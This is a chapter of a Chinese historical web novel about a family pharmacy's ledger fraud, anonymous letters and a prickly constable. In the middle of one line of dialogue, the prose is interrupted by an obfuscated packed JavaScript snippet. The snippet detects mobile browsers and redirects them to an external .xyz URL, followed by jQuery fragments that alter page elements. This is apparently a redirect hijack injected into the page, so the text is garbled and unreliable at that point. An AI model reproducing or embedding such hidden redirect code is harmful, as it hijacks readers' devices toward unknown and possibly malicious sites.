收到举报信的第四日。
清晨，蔓菁揣着画像、铜钱和小纸条，依照吩咐去了衙门找徐轻舟。衙门里其他捕快嘻嘻哈哈地传话，不一会儿，一个面色冷峻的身影便大步走了出来。
听完蔓菁的来意，徐轻舟扫了眼画像，又看了眼纸条，点头应下了。但对于那贯铜钱，他却直接拒绝了。
蔓菁记得李林竹叮嘱过，这钱必须让徐轻舟收下，便执意不退让。然而，奈何力气和身高都不敌，徐轻舟始终不为所动。
无计可施的蔓菁并未气馁，暗暗咬牙，认定任务绝不能失败，不然若被赶回家乡，她的生活真是毫无盼头。打定主意后，她跟上了已出发寻找线索的徐轻舟。
徐轻舟并不理会她，步伐匆匆，而蔓菁却追得气喘吁吁。他总能轻松走完一条街，而她却只能在他询问结束后才赶到。
当两人来到东郊楼时，正赶上有人设宴，街上人声鼎沸，十分热闹。蔓菁刚到路口，正准备喘口气，冷不防一辆马车飞驰而来，直冲她而去。
眼看避无可避，蔓菁竟因紧张僵在原地，眼睁睁看着马车逼近，绝望地闭上了眼睛。
忽然，她腰间一紧，整个人被人猛地抱起，随即腾空而起。耳边风声呼啸，待她缓过神睁开眼时，看到的却是徐轻舟冷峻的侧脸。
那辆失控的马车撞翻了几个摊子后远去，而徐轻舟依旧凝神盯着马车的背影，似乎忘记了怀里的蔓菁。
蔓菁的脸刷地红了，她清了清嗓子，假装镇定地说道：“那个……可以放我下来了吧？”
徐轻舟回过神，神色淡然将她放下，却只吐出两个字：“麻烦。”
蔓菁并不在意，依旧从容地将那贯铜钱递到他面前：“主君让我务必将这个交给你，请你收下。”
这一次，徐轻舟盯着她看了一会儿，终于伸手接过，说了句：“现在可以走了吧？”他低头看了眼那贯钱，发现上面已经染上了女孩的汗渍。
蔓菁暗暗松了口气，但嘴上还是说道：“刚才多谢你救我一命。我留下来帮你吧。”
“不用。”徐轻舟毫不留情地拒绝。
蔓菁却坚持道：“你这样拿着画挨家挨户问是不行的。很多人看见你穿着衙门的衣服，一副严肃的样子，下意识会怕惹麻烦。即使真认识画像上的人，也会说不认识。”
徐轻舟听完，冷冷地看着她，没有说话。
蔓菁被他盯得有些不好意思，但还是硬着头皮补充道：“你去问商家是没问题的，他们为了生意，肯定不敢隐瞒。但普通住户就由我去问吧。”
徐轻舟沉默了一会儿，点了点头：“好。”然后转身继续找人。
蔓菁赶紧跟上，发现他的步伐比之前慢了许多，不禁露出了笑容。
到了一户人家门口时，徐轻舟将画递给她，正巧看到她盯着自己笑，便皱眉问：“笑什么？”
“没什么。”蔓菁一时语塞，脸又红了，赶忙接过画说，“只是觉得你其实挺好相处的。”
徐轻舟淡淡扫了她一眼，冷声道：“蠢。”
蔓菁并不生气，反而笑得更灿烂了：“虽然不知道你为何用冷漠拒人于千里之外，但我觉得你比你假装的要善良得多。”
徐轻舟的目光冷淡依旧，这次连一个字都懒得说了。
蔓菁耸了耸肩：“那我去敲门了。”
————————
午后，李府大厅。
今日，正是任白芷向太太王氏汇报查证举报信事件结果的日子。
她不慌不忙地开口：“事情得从去年年底说起。陆正平迷上了一位花街的歌女，为其赎身，拿出了整整一百贯。但那歌女是骗财的老手，拿了钱后便销声匿迹，连同那家老鸨也不见了踪影。”
“这消息哪来的？”王氏略显疑惑地问道。
“今早我托我弟打听的。”任白芷从容答道，神情带着一贯的认真和负责。
王氏冷哼一声：“陆正平能拿出一百贯？怕不是挪用了药铺的钱吧。”
任白芷点头：“确实如此。我查了过去十年的账本，发现去年不少欠款记录被删除，总额刚好是一百贯。而今年开始的假账，多出的部分约三十贯。我猜，他可能是想通过今年的营收，把那一百贯填补上。”
“这又挪又补，图什么？”王氏皱眉，随后自问自答，“难不成是陆正平偷拿了这笔钱，被他爹陆三发现了，碍于亲情不敢声张，只能用假账来补救？”
“太太明察。”任白芷低头恭敬道，心中感叹王氏的直觉果然敏锐。
一旁的李林竹也帮腔道：“具体缘由，或许还得问陆三叔本人。”
王氏点了点头，话锋一转：“那举报信里提到的‘以次充好’呢？莫非是有人故意污蔑咱们？是不是大房那边搞的鬼？”
李林竹摇了摇头：“从账单来看，陆二叔确实以中等草药冒充高等草药销售，但并没有从中获利。他是用两倍的价格采购了中等草药，然后以高等草药的名义出售，但采购量也是两倍。只不过第二次采购没有单独列账。”
王氏疑惑：“这不是毫无差价吗？他为什么这么做？”
李林竹答道：“我猜，陆二叔是为了保证药材的新鲜度。娘可还记得，陆二叔曾多次建议缩短药材更换周期，避免陈药影响药效，但您当时以成本过高为由拒绝了。”
王氏点点头：“他是说过，很多药材放四个月都不坏，他却非要两个月就扔掉重新采购。药铺好不容易由怀义稳住了营收，他这做法，只会让咱们又开始亏损。”
“所以，我认为，陆二叔以次充好的做法，实际是在平衡新鲜度与成本之间的矛盾。他觉得放久的高等药材，还不如新鲜的中等草药有效。反正滞销的也会被扔掉。”李林竹分析道。
“这倒不是什么大事，警告一下也就罢了。”王氏显然对这件事不甚在意，但提到颜怀义时却恼怒不已，“怀义何至于写两封举报信，竟还送了一封给衙门！简直是损害咱们药铺的名声！”
“举报信确实有两封，但分别是陆医和陆账房所写。只是陆医的那封，是被颜医送去衙门的。”任白芷解释道。
“自己举报自己？”王氏一脸错愕。
“不完全是。”任白芷话锋一转，“外头都传陆账房被开是因我而起，可有这回事？”
王氏沉思片刻：“的确。当初考你算账时，你无意中发现了账本的问题，我便叫来陆三问话。他当时只讥讽你是个小丫头懂什么账，我也没多想，就让他回去了。后来，大房的人突然来替他说情，我才觉得蹊跷，临时停了他的账房差事。”
“所以他嘴上讥讽，实际很是相信，我有能查出他账本造假的本事。不然，他也不会误以为临时接管药铺账房的我，是来查他的假账的。为了混淆视听，他自作聪明写了举报信，让我们误以为假账和以次充好有关。”任白芷总结道。
王氏琢磨着她的分析，点了点头：“那陆医的举报信呢？”
“陆医大概觉得我年轻不稳妥，又写了一封以防万一。”任白芷轻描淡写地回道，暗暗瞒下迟到的事。
王氏正欲追问，却被李林竹打断，沉声说道：“二叔应是想借怀义之手，将告发信递交给您。怀义了解陆家与我们家的情谊多深，毕竟他曾多次向您提议减少应急熟药的存货，您却宁愿亏损，亦要保证陆二叔的最低要求。或许他担心信交到李家后，李家不会对陆二叔处理，甚至可能会包庇，因此才将信件递交给官府，这便是衙门比我们晚收到信的缘由。”
王氏听后，轻叹一声，沉默不语。
任白芷心中暗自庆祝，十贯钱已近在咫尺，想起了漏掉的一环，询问李林竹：“刘老三找到了么？”
李林竹微微一笑，目光扫过任白芷，答道：“刚找到了，不过他不姓刘，也不排行老三，而是住在胭脂铺遍布的诸访巷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041353|162542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“诸访巷？大房家所管的那家药铺也在那里。”王氏冷笑一声，嗤之以鼻，“难怪陆三刚被我叫走，大房家的立刻就得知消息，原来是在药铺安了眼线。”
这大房家何氏，想来是从刘老三口中得知陆账房因为账本之事被王氏叫走，故意做戏，挑拨离间，坐实王氏对他的怀疑。
任白芷心中不由感叹，这大房家的何氏平日里看上去没什么脑子，关键时刻却是个人精。
“所以，那日刘老三看到衙门的人来店里，我又谎称是我找来的，他便误以为我怀疑到他头上了，因此翌日便匆匆逃走。”任白芷回忆道。
“大致如此。”李林竹缓缓道，“剩下的，或需与本人核实。娘，您打算如何处理此事？”
王氏轻抚额头，闭上双眼，又叹了口气，“此事实乃我的过失，若非去年我病重，想来那挪用的一百贯早已被我察觉，不至于今时今日才察觉账本不妥，怀疑到陆家。至于陆二叔，我本愿意庇护，但事态已被衙门重点盯上，我也无能为力。”
她继续道：“罢了，陆二本就想做游医，若他能继续挂着李家的名号，算是不负我对你父亲的承诺。至于衙门那边，我写份文书解释，只求县衙不予公布此事，多少罚金我们都认。”
“那陆账房呢？”任白芷乘机询问。她心中暗自思忖，如何能不在这个机械重复的工作上耗费时光，毕竟她已酝酿出一个大胆的赚钱想法——炒交引。
“挪用公款的人，岂能再用。”王氏当即打消了任白芷的念头，耐心解释道：“我考虑过，一个药铺便一账房，哪怕是胆小如陆三，也出现了挪用的情况。故我决定，未来每个药铺各招数个账房，轮流安排日子，每次轮换都要求互相审查账目，这样才能随时查出异常。只是招人需时，任氏你做得不错，便继续做下去吧。”
王氏这算盘打得精妙，任白芷心中暗自感叹，不亏是将李家药铺发展壮大的女性。
可她不想被困在账房这个岗位上。想到这，任白芷心中突发灵感，凑到王氏耳边低声耳语几句。
王氏听完，点了点头，“倒也省事，那你便去吧。”
“谢太太。”任白芷欣然应答，心中暗喜，有人替她做事，自己便白拿一贯，实在是太爽了！
李林竹闻言，立刻不满地反驳：“你称她为太太？”
“啊？”任白芷一愣，心中疑惑，难道我还不配称呼你娘为太太？
王氏却笑着说道：“无妨，总归是刚嫁过来，不免不适应。”
任白芷尚未反应，李林竹已不甘示弱：“嫁过来也有一段时日，新妇早已成旧妇，唯有娘宽宏大量，我可不敢苟同。”
王氏的笑意愈发浓烈，“你可别在娘这里装。”说完，突然似乎想起了什么，“客喜说你近日总能多睡一刻钟，难道是因枕边有个人更为安心？”
李林竹闻言，面露慌乱，“客喜胡说，我睡得几个时辰，他又如何知晓？”
这可不一定，任白芷如同看戏般，注视着李林竹，恰好看到他回头时，脸上泛起的红晕。
王氏猛咳几声，吓得李林竹急忙把脉，又喂了几颗药，语气关切地说道：“娘就先休息，别再操心，李家的事儿有我来打理。”
王氏仍轻咳着，目光柔和地注视着李林竹，“你一个人太过辛苦，若未来不止你一人，娘便可安心。”
“你与祖奶奶皆爱说些无用之言。”李林竹的声音微微哽咽，“我有你们，我并不辛苦。”
王氏边咳嗽，边笑着望着李林竹，“我想念你爹了。”
李林竹闻言，神情黯然，再无言语。
此刻，任白芷却不知自己该做何选择，究竟是安静离开以留给他们母子独处的空间，还是乖乖待着，静候他们的交谈？
未及她思量，王氏的咳嗽稍有缓和，轻声说道：“我也累了，你们先出去，让素问进来侍候我休息。”